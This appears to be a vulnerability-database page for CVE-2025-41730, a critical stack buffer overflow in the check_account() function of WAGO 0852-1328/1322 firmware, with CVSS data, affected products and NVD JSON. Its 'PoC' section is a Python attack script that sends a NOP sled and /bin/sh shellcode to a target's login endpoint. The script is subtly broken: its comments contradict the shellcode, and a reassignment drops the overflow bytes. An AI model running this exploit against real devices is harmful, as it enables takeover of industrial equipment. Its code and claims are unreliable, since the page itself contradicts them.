Security Vulnerability Report
中文
CVE-2025-41730 CVSS 9.8 CRITICAL

CVE-2025-41730

Published: 2025-12-10 11:15:47
Last Modified: 2025-12-19 16:50:27

Description

An unauthenticated remote attacker can abuse unsafe sscanf calls within the check_account() function to write arbitrary data into fixed-size stack buffers which leads to full device compromise.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:wago:0852-1328_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:wago:0852-1328:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:wago:0852-1322_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:wago:0852-1322:-:*:*:*:*:*:*:* - NOT VULNERABLE
VDE相关设备固件版本 < 修复版本
使用存在漏洞的check_account()函数的固件均受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41730 PoC - Unsafe sscanf in check_account() # Target: VDE devices with vulnerable check_account() function # This PoC demonstrates sending malicious input to trigger buffer overflow import socket import sys def exploit_cve_2025_41730(target_ip, target_port=80): """ Exploit for CVE-2025-41730 Unsafe sscanf in check_account() function leading to stack buffer overflow """ # Prepare malicious payload # NOP sled for better exploitation reliability nop_sled = b'\x90' * 64 # Shellcode for reverse shell (Linux x86) - calc.exe for testing # Replace with actual shellcode based on target architecture shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Return address (placeholder - needs to be determined for specific target) return_address = b'\xaa\xbb\xcc\xdd' # Adjust based on target # Construct overflow payload payload = b'A' * 256 # Overflow the fixed-size stack buffer payload += return_address * 4 # Overwrite return address payload = nop_sled + shellcode # Send malicious request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # HTTP request with malicious payload in account parameter request = f"GET /login HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Authorization: Basic " + payload.hex() + "\r\n\r\n" sock.send(request.encode()) print(f"[*] Payload sent to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_41730(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41730", "sourceIdentifier": "[email protected]", "published": "2025-12-10T11:15:47.120", "lastModified": "2025-12-19T16:50:26.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can abuse unsafe sscanf calls within the check_account() function to write arbitrary data into fixed-size stack buffers which leads to full device compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:wago:0852-1328_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "02.64", "matchCriteriaId": "402B0083-E354-4B25-82E4-1A997566E181"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:wago:0852-1328:-:*:*:*:*:*:*:*", "matchCriteriaId": "DF26331E-5E32-47F1-A338-0141CA9542DF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:wago:0852-1322_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "02.64", "matchCriteriaId": "79BD05D2-9F1D-4EBA-AFB5-2F7AB87B2E6C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:wago:0852-1322:-:*:*:*:*:*:*:*", "matchCriteriaId": "F0FF298D-5DB2-4603-B0B7-E9CFBE225B7D"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-095", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}